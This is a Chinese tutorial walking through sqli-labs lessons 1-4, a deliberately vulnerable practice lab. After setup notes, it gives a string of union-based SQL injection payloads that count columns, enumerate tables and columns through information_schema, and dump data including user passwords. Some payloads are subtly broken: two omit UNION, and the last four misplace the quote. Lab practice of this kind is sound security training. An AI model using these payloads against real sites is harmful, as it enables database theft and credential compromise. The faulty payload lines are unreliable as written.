Sql Inject Less 1-4 注入基础

搭建环境

项目地址:https://github.com/Audi-1/sqli-labs


软件版本:

php5.2.17nts

mysql5.7.26

apache2.4.39


需要确保 php.ini 的三个参数处于关闭状态.

由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。

magic_quotes_gpc = Off

magic_quotes_runtime = Off

magic_quotes_sybase = Off


开始调试

Less-1

http://192.168.230.130/trainer/Less-1/?id=1' --+

统计出表列 payload,表一共有3列:1' order by 4 --+ 

注意:order by 后的数字是表的列,第一列,第二列.


然后自定义payload执行我们自己的sql语句。

payload:1' select 1,2,3 --+

注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。


2和3这里、就可以写我们自己的sql语句了。

例如可以构造成:1' select 1, version(), 5 --+


在mysql中的查询也会变成如下的列:


Mysql数据库的元字段等信息因为都保存在 information_schema数据库里,所以可以构造payload查询这个数据库里的表:tables

payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+

注意控制 limit 来筛选数据。

payload:-1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+

因为加入了group_concat函数全部输出了,所以不用调整limit


这样就可以查询出来这个数据库中所有对应的数据库表


emails 8

referers 0

uagents 0

users 13

接下来就可以继续查询表所对应的列,保存列的元信息表为:infomation_schema.COLUMNS

payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='emails' --+



payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='referers' --+



payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='uagents' --+



payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security' --+


因为users表在mysql库里也有一份,这里要加 and table_schema='security' 数据库名以区分。


整理下我们获取到的字段信息:

emails:id,email_id

referers:id,referer, ip_address

uagents:id,uagent,ip_address,username

users:id,username,password


具有了字段信息,我们就可以进行进一步查询到数据了。


emails表payload:'-1 union select 1,group_concat(id),group_concat(email_id) from emails --+


referers表payload:'-1 union select group_concat(id),group_concat(referer),group_concat(ip_address) from referers --+

【表里数据】

uagents表payload:'-1 union select group_concat(id),group_concat(uagent),group_concat(ip_address) from uagents --+

【表里没数据】

users表payload:'-1 union select group_concat(id),group_concat(username),group_concat(password) from users --+


数据信息已经出来了

评论